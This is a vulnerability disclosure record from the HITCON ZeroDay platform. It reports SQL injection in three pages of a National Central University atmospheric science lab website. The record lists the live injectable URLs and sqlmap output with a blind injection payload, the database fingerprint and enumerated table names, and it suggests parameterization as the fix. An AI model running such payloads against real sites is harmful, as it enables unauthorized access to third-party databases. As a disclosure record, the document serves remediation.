Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00332
- Vendor: 國立中央大學
- Title: 国立中央大学某站多处SQL注入
- Introduction: 国立中央大学大气科学系大氣邊界層暨空氣污染實驗室多处SQL注入
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/03/31 23:46:38 : 新提交 (由 Cra5h 更新此狀態)
- 2018/03/31 23:49:36 : 新提交 (由 Cra5h 更新此狀態)
- 2018/04/01 15:38:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/02 11:55:33 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/02 11:55:34 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/02 11:55:34 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/05/31 03:00:23 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00332
- 通報者:cra5h (Cra5h)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
国立中央大学大气科学系大氣邊界層暨空氣污染實驗室SQL注入
注入位置:
http://pblap.atm.ncu.edu.tw/blogshow.asp?id=12
id参数过滤不严导致SQL注入产生
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=12 AND 4783=4783
[23:25:41] [INFO] testing MySQL
[23:25:41] [WARNING] the back-end DBMS is not MySQL
[23:25:41] [INFO] testing Oracle
[23:25:41] [WARNING] the back-end DBMS is not Oracle
[23:25:41] [INFO] testing PostgreSQL
[23:25:42] [WARNING] the back-end DBMS is not PostgreSQL
[23:25:42] [INFO] testing Microsoft SQL Server
[23:25:42] [WARNING] the back-end DBMS is not Microsoft SQL Server
[23:25:42] [INFO] testing SQLite
[23:25:42] [WARNING] the back-end DBMS is not SQLite
[23:25:42] [INFO] testing Microsoft Access
[23:25:43] [INFO] confirming Microsoft Access
[23:25:44] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP
back-end DBMS: Microsoft Access
[23:25:44] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 58 times
[23:25:44] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\pblap.atm.ncu.edu.tw'
爆破了一下库:(3个)
[23:26:01] [INFO] starting 10 threads
[23:26:02] [INFO] retrieved: users
[23:26:20] [INFO] retrieved: system
[23:28:45] [INFO] retrieved: info
Database: Microsoft_Access_masterdb
[3 tables]
+--------+
| info |
| system |
| users |
+--------+
[23:31:21] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3160 times
[23:31:21] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\pblap.atm.ncu.edu.tw'
第二处:
http://pblap.atm.ncu.edu.tw/showdoc.asp?id=404
第三处:
http://pblap.atm.ncu.edu.tw/resshow.asp?id=4
修補建議
过滤,参数化